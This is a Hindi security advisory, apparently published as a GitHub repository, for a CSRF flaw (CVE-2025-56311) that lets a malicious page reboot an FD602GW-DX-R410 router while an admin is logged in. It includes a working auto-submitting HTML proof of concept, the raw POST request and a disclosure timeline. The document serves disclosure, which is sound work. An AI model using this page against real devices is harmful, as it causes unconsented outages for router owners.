wrathfuldiety/cve-2025-56311FD602GW-DX-R410 राउटर में CSRF कमजोरी दूरस्थ हमलावरों को डिवाइस को रिबूट करने की अनुमति देती है, जब कोई व्यवस्थापक प्रमाणित होता है, तो /boaform/admin/formReboot पर एक तैयार POST अनुरोध के माध्यम से।
FD602GW-DX-R410 फाइबर राउटर के एडमिन इंटरफ़ेस (फर्मवेयर V2.2.14) में क्रॉस-साइट रिक्वेस्ट फोर्जरी (CSRF) भेद्यता के लिए प्रूफ ऑफ कॉन्सेप्ट और सुरक्षा सलाह। यह सलाह प्रभाव, हमले के वेक्टर और उपचार के लिए सिफारिशों की रूपरेखा प्रस्तुत करती है।
FD602GW-DX-R410 राउटर में CSRF भेद्यता दूरस्थ हमलावरों को डिवाइस को रीबूट करने की अनुमति देती है, जब कोई एडमिन प्रमाणित होता है, तो /boaform/admin/formReboot पर एक क्राफ्टेड POST अनुरोध के माध्यम से।
FD602GW-DX-R410 फाइबर राउटर के वेब-आधारित एडमिन कंसोल (फर्मवेयर V2.2.14) में एक क्रॉस-साइट रिक्वेस्ट फोर्जरी (CSRF) भेद्यता पाई गई। /boaform/admin/formReboot एंडपॉइंट CSRF टोकन या ओरिजिन सत्यापन के बिना पूर्ण डिवाइस रीबूट को ट्रिगर करने के लिए POST अनुरोधों की अनुमति देता है। यदि कोई प्रमाणित व्यवस्थापक किसी दुर्भावनापूर्ण पृष्ठ पर जाता है, तो राउटर को बिना सहमति के दूरस्थ रूप से रीबूट किया जा सकता है।
/boaform/admin/formReboot<html>
<!-- CSRF PoC - generated by Burp Suite Pro -->
<body>
<form action="http://192.168.1.1/boaform/admin/formReboot" method="POST">
<input type="hidden" name="postSecurityFlag" value="+65535" />
<input type="submit" value="Submit" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
POST /boaform/admin/formReboot HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
postSecurityFlag=+65535
HTTP 200 OK; राउटर तुरंत रीबूट होता है।
| तिथि | कार्रवाई |
|---|---|
| जून 2025 | भेद्यता खोजी गई |
| जून 2025 | जिम्मेदार प्रकटीकरण का प्रयास किया गया (कोई उत्तर नहीं) |
| जुलाई 2025 | MITRE से CVE आईडी का अनुरोध किया गया |
| जुलाई 2025 | सलाह तैयार की गई और प्रकाशन लंबित |
| सितंबर 2025 | CVE आवंटित, सलाह सार्वजनिक की गई |
यह सलाह शैक्षिक और सुरक्षा जागरूकता उद्देश्यों के लिए प्रदान की गई है। लेखक दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है। सभी परीक्षण एक नियंत्रित वातावरण में किए गए थे।